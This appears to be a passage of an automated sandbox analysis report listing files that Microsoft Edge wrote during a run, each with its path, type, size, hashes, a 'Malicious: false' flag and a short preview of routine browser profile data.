C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.2434332839761115
Encrypted:	false
SSDEEP:	12:BQwvYfYebvqBQFUt8mQW/+mQPF5JfYebvqBvJ:iCYfYebvZg891PJfYebvk
MD5:	40DBBE9AB1177B69C99356A9D99BE100
SHA1:	0F55C370142FE4BE45D23C59A7DD2EF2C5BD15F2
SHA-256:	F3E2B17ACA34C88F4CF269007015A70BB24C61747FFA589C029B747ACCED567A
SHA-512:	A45117ED2E7D2D7FED57299E3544AAF62070C17D8130FDBFA5A71ED99CEF220A0AD9CEF702339BF09EBEA338475F391032D0AB0C894EC3D0F13EA7BF7830787B
Malicious:	false
Preview:	2024/07/23-20:39:17.289 2218 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/07/23-20:39:17.293 2218 Recovering log #3.2024/07/23-20:39:17.302 2218 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.2434332839761115
Encrypted:	false
SSDEEP:	12:BQwvYfYebvqBQFUt8mQW/+mQPF5JfYebvqBvJ:iCYfYebvZg891PJfYebvk
MD5:	40DBBE9AB1177B69C99356A9D99BE100
SHA1:	0F55C370142FE4BE45D23C59A7DD2EF2C5BD15F2
SHA-256:	F3E2B17ACA34C88F4CF269007015A70BB24C61747FFA589C029B747ACCED567A
SHA-512:	A45117ED2E7D2D7FED57299E3544AAF62070C17D8130FDBFA5A71ED99CEF220A0AD9CEF702339BF09EBEA338475F391032D0AB0C894EC3D0F13EA7BF7830787B
Malicious:	false
Preview:	2024/07/23-20:39:17.289 2218 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/07/23-20:39:17.293 2218 Recovering log #3.2024/07/23-20:39:17.302 2218 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\10fc6f64-f50b-4711-8234-7201e0653cf4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.864047146590611
Encrypted:	false
SSDEEP:	6:YHpoueH2a9a1o3/QBR70S7PMVKJTnMRK3VY:YH/u2caq3QH7E4T3y
MD5:	18D8AE83268DD3A59C64AAD659CF2FD3
SHA1:	018C9736438D095A67B1C9953082F671C2FDB681
SHA-256:	D659029D35ADEBB7918AF32FFF3202C63D8047043A8BDF329B2A97751CF95056
SHA-512:	BB0962F930E9844E8C0E9CD209C07F46259E4C7677D5443B7AEE90DCF7B7E8F9960C5E3FCB8A83B9BB40862FBE0442C547083A9FD421D86674B88B2BEBBEB2FB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State~RF410c5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.864047146590611
Encrypted:	false
SSDEEP:	6:YHpoueH2a9a1o3/QBR70S7PMVKJTnMRK3VY:YH/u2caq3QH7E4T3y
MD5:	18D8AE83268DD3A59C64AAD659CF2FD3
SHA1:	018C9736438D095A67B1C9953082F671C2FDB681
SHA-256:	D659029D35ADEBB7918AF32FFF3202C63D8047043A8BDF329B2A97751CF95056
SHA-512:	BB0962F930E9844E8C0E9CD209C07F46259E4C7677D5443B7AEE90DCF7B7E8F9960C5E3FCB8A83B9BB40862FBE0442C547083A9FD421D86674B88B2BEBBEB2FB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 4, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.555790634850688
Encrypted:	false
SSDEEP:	48:TsIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB:QIEumQv8m1ccnvS6
MD5:	0247E46DE79B6CD1BF08CAF7782F7793
SHA1:	B3A63ED5BE3D8EC6E3949FC5E2D21D97ACC873A6
SHA-256:	AAD0053186875205E014AB98AE8C18A6233CB715DD3AF44E7E8EB259AEAB5EEA
SHA-512:	148804598D2A9EA182BD2ADC71663D481F88683CE3D672CE12A43E53B0D34FD70458BE5AAA781B20833E963804E7F4562855F2D18F7731B7C2EAEA5D6D52FBB6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}.........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF32684.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\af92f62f-27c7-4fd3-86c4-6f86fc4047e1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f122794b-ab9f-40e0-8ac6-ad360876c9d1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f77de546-dff9-4ca1-88f2-6e74f2205abd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	420
Entropy (8bit):	5.247929768074247
Encrypted:	false
SSDEEP:	12:BQlzyvYfYebvqBZFUt8mQlSX/+mQlOhlR5JfYebvqBaJ:iJYYfYebvyg89YykhlDJfYebvL
MD5:	6358CD760681244AC34739802263E8AB
SHA1:	B4C61C91C98362C6D357A93F0AF9D2BA1232FD37
SHA-256:	0F04185443C2BC1C02C12B970EDFCB8CADF50E4D649267DD49E630589606271B
SHA-512:	BA862C1EE2EC0FF4FDBCEC84CDB698CACA696C37E562492C6402B0CB8FD177AC789CE3EDB777B8834FB5AE4F06C42FA119609C4F92584D56ED7E04DC07EAF777
Malicious:	false
Preview:	2024/07/23-20:39:33.521 21c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/07/23-20:39:33.522 21c8 Recovering log #3.2024/07/23-20:39:33.524 21c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	420
Entropy (8bit):	5.247929768074247
Encrypted:	false
SSDEEP:	12:BQlzyvYfYebvqBZFUt8mQlSX/+mQlOhlR5JfYebvqBaJ:iJYYfYebvyg89YykhlDJfYebvL
MD5:	6358CD760681244AC34739802263E8AB
SHA1:	B4C61C91C98362C6D357A93F0AF9D2BA1232FD37
SHA-256:	0F04185443C2BC1C02C12B970EDFCB8CADF50E4D649267DD49E630589606271B
SHA-512:	BA862C1EE2EC0FF4FDBCEC84CDB698CACA696C37E562492C6402B0CB8FD177AC789CE3EDB777B8834FB5AE4F06C42FA119609C4F92584D56ED7E04DC07EAF777
Malicious:	false
Preview:	2024/07/23-20:39:33.521 21c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/07/23-20:39:33.522 21c8 Recovering log #3.2024/07/23-20:39:33.524 21c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.223035812094528
Encrypted:	false
SSDEEP:	6:BMWQFoSrs+q2Pwkn23oH+TcwtpIFUt84MWQFoSStGZZmw+4MWQFoSStGNVkwOwkU:BQFoSrs+vYfYebmFUt8mQFoSStGZ/+mC
MD5:	5F0CECC555CC897949FFCA66C9B8A64A
SHA1:	BF29024B4D15F9FDBFD8A9587D5DE1819416F38E
SHA-256:	1B642D334A81C07719462DD3BAB99FA2D5ECD88A6EE63A5AC5D0586D66DE81E0
SHA-512:	BFD9597F07FCE46E7D4C72F4AD1D7752F21423DBEDCD1C8B331D0C70D53E3F4B2EA5DCC194A39C5F99657BDD92C8DE9F0159D6F6B87CD7F881F86C21BD23B88A
Malicious:	false
Preview:	2024/07/23-20:39:15.976 204c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/07/23-20:39:15.977 204c Recovering log #3.2024/07/23-20:39:15.977 204c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.223035812094528
Encrypted:	false
SSDEEP:	6:BMWQFoSrs+q2Pwkn23oH+TcwtpIFUt84MWQFoSStGZZmw+4MWQFoSStGNVkwOwkU:BQFoSrs+vYfYebmFUt8mQFoSStGZ/+mC
MD5:	5F0CECC555CC897949FFCA66C9B8A64A
SHA1:	BF29024B4D15F9FDBFD8A9587D5DE1819416F38E
SHA-256:	1B642D334A81C07719462DD3BAB99FA2D5ECD88A6EE63A5AC5D0586D66DE81E0
SHA-512:	BFD9597F07FCE46E7D4C72F4AD1D7752F21423DBEDCD1C8B331D0C70D53E3F4B2EA5DCC194A39C5F99657BDD92C8DE9F0159D6F6B87CD7F881F86C21BD23B88A
Malicious:	false
Preview:	2024/07/23-20:39:15.976 204c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/07/23-20:39:15.977 204c Recovering log #3.2024/07/23-20:39:15.977 204c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 7, 1st free page 5, free pages 2, cookie 0x5, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.26707851465859517
Encrypted:	false
SSDEEP:	12:TLPp5yN8h6MvDOH+FxOUwa5qVZ7Nkl25Pe2d:TLh8Gxk+6Uwc8NlYC
MD5:	04F8B790DF73BD7CD01238F4681C3F44
SHA1:	DF12D0A21935FC01B36A24BF72AB9640FEBB2077
SHA-256:	96BD789329E46DD9D83002DC40676922A48A3601BF4B5D7376748B34ECE247A0
SHA-512:	0DD492C371D310121F7FD57D29F8CE92AA2536A74923AC27F9C4C0C1580C849D7779348FC80410DEBB5EEE14F357EBDF33BF670D1E7B6CCDF15D69AC127AB7C3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.......j.j................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.006687025398067448
Encrypted:	false
SSDEEP:	3:ImtVziLj/l/CBQlXjzA8zX:IiVzi//sCZZz
MD5:	82B691A6E4513A3E6C2280425D9F9ECF
SHA1:	65FB13E02FBAF7A7AB32F666D1A6AA884D26ECF1
SHA-256:	24D4BA36C7270976DBD40E05B86243E4E113870EE9FC18C6DB559AE2CCEF8C4D
SHA-512:	45EAC721F8C88F106780083AB4EC2E870F83E9CFAFCE790AD1E818848D1A64475D258593B5069023173A662F13AA7977AD7821B4B2AC84FB086C3FE27EED1CAD
Malicious:	false
Preview:	VLnk.....?.........u.6Q.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 89, cookie 0x66, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	184320
Entropy (8bit):	1.0672137917211286
Encrypted:	false
SSDEEP:	192:QSqzWMMUfTwnGCTjHbRJkkqtXaWTK+hGgH+6e7EHVumY+8n6:QrzWMffMnzkkqtXnTK+hNH+5EVumm
MD5:	22D250335721BFE6473B2D6431CB2C22
SHA1:	56421C186CAC47F198846ACA4C8AAA17CF865E58
SHA-256:	577B223BD9E59907A3EBA2EEDE5C267DB0E1144316F6048BD16FAD547F1AA45E
SHA-512:	2AAC143C20A0DD32F4549D7C81A72CCDCA0056B33361D7EC8E1A48FA0FFFEE99403D5FB3E7D9562C745C73278C0475826E10A74ACCA704E2964167CBA7AF779E
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 7, cookie 0xb, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	14336
Entropy (8bit):	1.6323412565736815
Encrypted:	false
SSDEEP:	48:uOK3tjkSdj5IUltGhp22iSBgi2RDMb9lFOtbQ46drI3hOQDPIfcy2RDMb9lFOtb0:PtSjGhp22iSWDW9l/BhI35kcNDW9l/b
MD5:	B574A97F036C369C6C207E413D09BC51
SHA1:	35F7E8D557C13280C88DEA37E3F88E92717961CA
SHA-256:	97E91088B199DA18926E646F1DF2A7874433D13CBEA4B0328947EF58E0EB15CF
SHA-512:	67CD8CE395A548FFE1F8AE41EA450CB22E44DED71960F8EBC500A8F9077E68ED54D5EBA174F9AC52E52D9E411D7426AD87460E2B6534EDC7A3391985ABEE3860
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..................n..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.41235120905181716
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB:v7doKsKuKZKlZNmu46yjx
MD5:	981F351994975A68A0DD3ECE5E889FD0
SHA1:	080D3386290A14A68FCE07709A572AF98097C52D
SHA-256:	3F0C0B2460E0AA2A94E0BF79C8944F2F4835D2701249B34A13FD200F7E5316D7
SHA-512:	C5930797C46EEC25D356BAEB6CFE37E9F462DEE2AE8866343B2C382DBAD45C1544EF720D520C4407F56874596B31EFD6822B58A9D3DAE6F85E47FF802DBAA20B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\bcccb741-1080-4c97-a4f3-081b47b7ff67.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9492
Entropy (8bit):	4.940357125216055
Encrypted:	false
SSDEEP:	96:sVYkdBojJ13rb9G8DaYt3gd85Th6Rp9/x+6M8muecXo71eAeCTAe4zvrI2CHQyVl:sVYkd6JJDaYt3G8qpj+F2o7QAl0Ihdf
MD5:	3AF0B23DA1861D91CAC5D189D97EF259
SHA1:	7E1FE040FD4D4467DEAFE9ED15FB9D8E71355D3E
